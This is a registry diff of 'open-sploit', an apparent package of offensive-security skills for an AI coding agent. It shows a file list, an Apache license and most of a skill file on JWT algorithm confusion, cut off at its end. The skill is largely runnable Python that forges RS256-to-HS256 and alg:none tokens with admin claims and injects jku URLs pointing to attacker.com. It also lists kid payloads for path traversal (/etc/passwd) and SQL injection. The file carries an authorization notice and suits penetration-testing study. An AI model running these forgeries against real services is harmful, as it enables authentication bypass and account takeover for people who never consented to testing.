open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,201 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to the Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by the Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding any notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. Please do not remove or change
186
+ the license header comment from a contributed file except when
187
+ necessary.
188
+
189
+ Copyright 2026 mukul975
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,472 @@
1
+ ---
2
+ name: exploiting-jwt-algorithm-confusion-attack
3
+ description: 'Exploits JWT algorithm confusion vulnerabilities where the server''s
4
+ token verification library accepts the algorithm specified in the JWT header rather
5
+ than enforcing a fixed algorithm. The tester manipulates the alg header to switch
6
+ from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none
7
+ to bypass signature verification, or exploits kid/jku/x5u header injection to supply
8
+ attacker-controlled keys. Activates for requests involving JWT algorithm confusion,
9
+ alg none attack, key confusion attack, or JWT signature bypass.
10
+
11
+ '
12
+ domain: cybersecurity
13
+ subdomain: api-security
14
+ tags:
15
+ - api-security
16
+ - jwt
17
+ - algorithm-confusion
18
+ - token-forgery
19
+ - cryptographic-attack
20
+ version: 1.0.0
21
+ author: mahipal
22
+ license: Apache-2.0
23
+ nist_csf:
24
+ - PR.PS-01
25
+ - ID.RA-01
26
+ - PR.DS-10
27
+ - DE.CM-01
28
+ mitre_attack:
29
+ - T1190
30
+ - T1059.007
31
+ - T1552.001
32
+ - T1055
33
+ - T1059
34
+ ---
35
+ # Exploiting JWT Algorithm Confusion Attack
36
+
37
+ ## When to Use
38
+
39
+ - Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
40
+ - Assessing JWT implementations for alg:none bypass where the server skips signature verification
41
+ - Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
42
+ - Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
43
+ - Validating that the API server enforces a specific algorithm and does not trust the JWT header
44
+
45
+ **Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.
46
+
47
+ ## Prerequisites
48
+
49
+ - Written authorization specifying the target API and JWT-based authentication in scope
50
+ - A valid JWT token from the target API (obtained through legitimate authentication)
51
+ - The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
52
+ - Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries
53
+ - jwt_tool for automated JWT attack testing
54
+ - Burp Suite with JWT Editor extension
55
+
56
+
57
+ > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
58
+
59
+ ## Workflow
60
+
61
+ ### Step 1: JWT Token Analysis
62
+
63
+ ```python
64
+ import base64
65
+ import json
66
+ import requests
67
+ import hmac
68
+ import hashlib
69
+ import time
70
+
71
+ BASE_URL = "https://target-api.example.com/api/v1"
72
+
73
+ # Capture a valid JWT token
74
+ login_resp = requests.post(f"{BASE_URL}/auth/login",
75
+ json={"email": "test@example.com", "password": "TestPass123!"})
76
+ valid_token = login_resp.json().get("access_token", "")
77
+
78
+ # Decode JWT parts
79
+ def decode_jwt(token):
80
+ parts = token.split('.')
81
+ if len(parts) != 3:
82
+ raise ValueError("Invalid JWT format")
83
+
84
+ def pad(s):
85
+ return s + '=' * (4 - len(s) % 4)
86
+
87
+ header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
88
+ payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
89
+ return header, payload, parts[2]
90
+
91
+ header, payload, signature = decode_jwt(valid_token)
92
+ print(f"Algorithm: {header.get('alg')}")
93
+ print(f"Key ID: {header.get('kid', 'none')}")
94
+ print(f"Type: {header.get('typ')}")
95
+ print(f"JKU: {header.get('jku', 'none')}")
96
+ print(f"\nPayload: {json.dumps(payload, indent=2)}")
97
+ print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
98
+ ```
99
+
100
+ ### Step 2: Obtain the Public Key
101
+
102
+ ```python
103
+ from cryptography.hazmat.primitives import serialization
104
+ from cryptography.x509 import load_pem_x509_certificate
105
+
106
+ # Method 1: JWKS endpoint
107
+ jwks_url = f"{BASE_URL}/.well-known/jwks.json"
108
+ jwks_resp = requests.get(jwks_url)
109
+ if jwks_resp.status_code == 200:
110
+ jwks = jwks_resp.json()
111
+ print(f"JWKS keys found: {len(jwks.get('keys', []))}")
112
+ for key in jwks['keys']:
113
+ print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
114
+
115
+ # Extract RSA public key from JWKS
116
+ from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
117
+ from cryptography.hazmat.backends import default_backend
118
+
119
+ rsa_key = jwks['keys'][0] # First key
120
+ n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
121
+ e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
122
+ public_key = RSAPublicNumbers(e, n).public_key(default_backend())
123
+ public_key_pem = public_key.public_bytes(
124
+ encoding=serialization.Encoding.PEM,
125
+ format=serialization.PublicFormat.SubjectPublicKeyInfo
126
+ )
127
+ print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
128
+
129
+ # Method 2: From well-known OpenID configuration
130
+ oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
131
+ if oidc_resp.status_code == 200:
132
+ jwks_uri = oidc_resp.json().get('jwks_uri')
133
+ print(f"JWKS URI from OIDC config: {jwks_uri}")
134
+
135
+ # Method 3: Exposed at common paths
136
+ for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
137
+ resp = requests.get(f"{BASE_URL}{path}")
138
+ if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
139
+ print(f"Public key found at: {path}")
140
+ ```
141
+
142
+ ### Step 3: Algorithm Confusion Attack (RS256 to HS256)
143
+
144
+ ```python
145
+ def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
146
+ """
147
+ Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
148
+ If the server uses a generic verify() that trusts the alg header, it will use
149
+ the public key as the HMAC secret, matching our signature.
150
+ """
151
+ parts = token.split('.')
152
+ payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
153
+
154
+ # Modify payload if requested
155
+ if modifications:
156
+ payload.update(modifications)
157
+
158
+ # Create header with HS256
159
+ new_header = {"alg": "HS256", "typ": "JWT"}
160
+
161
+ # Encode header and payload
162
+ header_b64 = base64.urlsafe_b64encode(
163
+ json.dumps(new_header).encode()).decode().rstrip('=')
164
+ payload_b64 = base64.urlsafe_b64encode(
165
+ json.dumps(payload).encode()).decode().rstrip('=')
166
+
167
+ # Sign with HMAC-SHA256 using the RSA public key as the secret
168
+ signing_input = f"{header_b64}.{payload_b64}".encode()
169
+
170
+ # Use the raw PEM bytes as the HMAC key
171
+ if isinstance(public_key_pem, str):
172
+ public_key_pem = public_key_pem.encode()
173
+
174
+ signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
175
+ sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
176
+
177
+ return f"{header_b64}.{payload_b64}.{sig_b64}"
178
+
179
+ # Attack 1: Algorithm confusion with same claims
180
+ confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
181
+ resp = requests.get(f"{BASE_URL}/users/me",
182
+ headers={"Authorization": f"Bearer {confused_token}"})
183
+ print(f"Algorithm confusion (same claims): {resp.status_code}")
184
+ if resp.status_code == 200:
185
+ print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
186
+
187
+ # Attack 2: Algorithm confusion with elevated privileges
188
+ admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
189
+ modifications={"role": "admin", "sub": "admin@example.com"})
190
+ resp = requests.get(f"{BASE_URL}/admin/users",
191
+ headers={"Authorization": f"Bearer {admin_token}"})
192
+ print(f"Algorithm confusion (admin): {resp.status_code}")
193
+ if resp.status_code == 200:
194
+ print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
195
+
196
+ # Attack 3: Try different public key formats
197
+ key_formats = [
198
+ public_key_pem, # Full PEM
199
+ public_key_pem.strip(), # Stripped whitespace
200
+ public_key_pem.replace(b'\n', b''), # No newlines
201
+ public_key_pem.decode().split('\n')[1:-1], # Base64 only
202
+ ]
203
+
204
+ for i, key_format in enumerate(key_formats):
205
+ if isinstance(key_format, list):
206
+ key_format = ''.join(key_format).encode()
207
+ elif isinstance(key_format, str):
208
+ key_format = key_format.encode()
209
+
210
+ token = forge_hs256_with_public_key(valid_token, key_format)
211
+ resp = requests.get(f"{BASE_URL}/users/me",
212
+ headers={"Authorization": f"Bearer {token}"})
213
+ if resp.status_code == 200:
214
+ print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
215
+ ```
216
+
217
+ ### Step 4: Algorithm None Attack
218
+
219
+ ```python
220
+ def forge_none_algorithm(token, modifications=None):
221
+ """Create tokens with alg:none variations to bypass signature verification."""
222
+ parts = token.split('.')
223
+ payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
224
+
225
+ if modifications:
226
+ payload.update(modifications)
227
+
228
+ payload_b64 = base64.urlsafe_b64encode(
229
+ json.dumps(payload).encode()).decode().rstrip('=')
230
+
231
+ # Different "none" algorithm variations
232
+ none_variants = [
233
+ {"alg": "none", "typ": "JWT"},
234
+ {"alg": "None", "typ": "JWT"},
235
+ {"alg": "NONE", "typ": "JWT"},
236
+ {"alg": "nOnE", "typ": "JWT"},
237
+ {"typ": "JWT"}, # Missing alg entirely
238
+ ]
239
+
240
+ tokens = []
241
+ for variant_header in none_variants:
242
+ header_b64 = base64.urlsafe_b64encode(
243
+ json.dumps(variant_header).encode()).decode().rstrip('=')
244
+
245
+ # Different signature options
246
+ sig_options = [
247
+ "", # Empty signature
248
+ ".", # Just a dot
249
+ parts[2], # Original signature
250
+ base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte
251
+ ]
252
+
253
+ for sig in sig_options:
254
+ tokens.append(f"{header_b64}.{payload_b64}.{sig}")
255
+
256
+ return tokens
257
+
258
+ # Test all none algorithm variations
259
+ none_tokens = forge_none_algorithm(valid_token)
260
+ for i, token in enumerate(none_tokens):
261
+ resp = requests.get(f"{BASE_URL}/users/me",
262
+ headers={"Authorization": f"Bearer {token}"})
263
+ if resp.status_code == 200:
264
+ header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
265
+ print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
266
+
267
+ # Test with privilege escalation
268
+ admin_none_tokens = forge_none_algorithm(valid_token,
269
+ modifications={"role": "admin", "is_admin": True})
270
+ for token in admin_none_tokens:
271
+ resp = requests.get(f"{BASE_URL}/admin/users",
272
+ headers={"Authorization": f"Bearer {token}"})
273
+ if resp.status_code == 200:
274
+ print("[CRITICAL] Admin access via alg:none bypass")
275
+ break
276
+ ```
277
+
278
+ ### Step 5: JKU and KID Header Injection
279
+
280
+ ```python
281
+ import os
282
+
283
+ # Attack: JKU (JWK Set URL) injection
284
+ # Host attacker-controlled JWKS that contains our key pair
285
+ def generate_attacker_jwks():
286
+ """Generate an RSA key pair and JWKS for the attacker's server."""
287
+ from cryptography.hazmat.primitives.asymmetric import rsa
288
+ from cryptography.hazmat.backends import default_backend
289
+
290
+ # Generate attacker key pair
291
+ private_key = rsa.generate_private_key(
292
+ public_exponent=65537,
293
+ key_size=2048,
294
+ backend=default_backend()
295
+ )
296
+ public_key = private_key.public_key()
297
+ public_numbers = public_key.public_numbers()
298
+
299
+ n_b64 = base64.urlsafe_b64encode(
300
+ public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
301
+ e_b64 = base64.urlsafe_b64encode(
302
+ public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
303
+
304
+ jwks = {
305
+ "keys": [{
306
+ "kty": "RSA",
307
+ "kid": "attacker-key-1",
308
+ "use": "sig",
309
+ "alg": "RS256",
310
+ "n": n_b64,
311
+ "e": e_b64
312
+ }]
313
+ }
314
+
315
+ return private_key, jwks
316
+
317
+ attacker_private_key, attacker_jwks = generate_attacker_jwks()
318
+
319
+ # Create JWT with JKU pointing to attacker server
320
+ def forge_jku_token(payload_modifications, jku_url):
321
+ """Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
322
+ payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
323
+ payload.update(payload_modifications)
324
+
325
+ header = {
326
+ "alg": "RS256",
327
+ "typ": "JWT",
328
+ "kid": "attacker-key-1",
329
+ "jku": jku_url # Points to attacker-hosted JWKS
330
+ }
331
+
332
+ header_b64 = base64.urlsafe_b64encode(
333
+ json.dumps(header).encode()).decode().rstrip('=')
334
+ payload_b64 = base64.urlsafe_b64encode(
335
+ json.dumps(payload).encode()).decode().rstrip('=')
336
+
337
+ # Sign with attacker's private key
338
+ from cryptography.hazmat.primitives import hashes
339
+ from cryptography.hazmat.primitives.asymmetric import padding
340
+
341
+ signing_input = f"{header_b64}.{payload_b64}".encode()
342
+ signature = attacker_private_key.sign(
343
+ signing_input,
344
+ padding.PKCS1v15(),
345
+ hashes.SHA256()
346
+ )
347
+ sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
348
+
349
+ return f"{header_b64}.{payload_b64}.{sig_b64}"
350
+
351
+ # Test JKU injection with various URLs
352
+ jku_urls = [
353
+ "https://attacker.com/.well-known/jwks.json",
354
+ "https://attacker.com/jwks",
355
+ # Bypass URL filters
356
+ f"{BASE_URL}@attacker.com/jwks",
357
+ f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
358
+ ]
359
+
360
+ for jku in jku_urls:
361
+ token = forge_jku_token({"role": "admin"}, jku)
362
+ # Note: This test requires hosting the attacker JWKS at the specified URL
363
+ print(f" JKU injection payload generated for: {jku}")
364
+
365
+ # KID injection (SQL injection in kid parameter)
366
+ kid_injection_payloads = [
367
+ "../../../../../../dev/null", # Path traversal to empty file
368
+ "../../../../../../proc/sys/kernel/hostname",
369
+ "' UNION SELECT 'secret-key' -- ", # SQL injection in kid lookup
370
+ "' OR '1'='1",
371
+ "../../../etc/passwd",
372
+ "https://attacker.com/key.pem", # URL-based kid
373
+ ]
374
+
375
+ for kid in kid_injection_payloads:
376
+ modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
377
+ header_b64 = base64.urlsafe_b64encode(
378
+ json.dumps(modified_header).encode()).decode().rstrip('=')
379
+ payload_b64 = valid_token.split('.')[1]
380
+
381
+ # Sign with the expected key material from the injection
382
+ signing_input = f"{header_b64}.{payload_b64}".encode()
383
+ # For path traversal to /dev/null, the key would be empty
384
+ sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
385
+ sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
386
+
387
+ token = f"{header_b64}.{payload_b64}.{sig_b64}"
388
+ resp = requests.get(f"{BASE_URL}/users/me",
389
+ headers={"Authorization": f"Bearer {token}"})
390
+ if resp.status_code == 200:
391
+ print(f"[CRITICAL] KID injection successful: {kid}")
392
+ ```
393
+
394
+ ## Key Concepts
395
+
396
+ | Term | Definition |
397
+ |------|------------|
398
+ | **Algorithm Confusion** | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |
399
+ | **alg:none Attack** | Setting the JWT algorithm to "none" to bypass signature verification entirely, if the library does not enforce algorithm selection |
400
+ | **JKU Injection** | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |
401
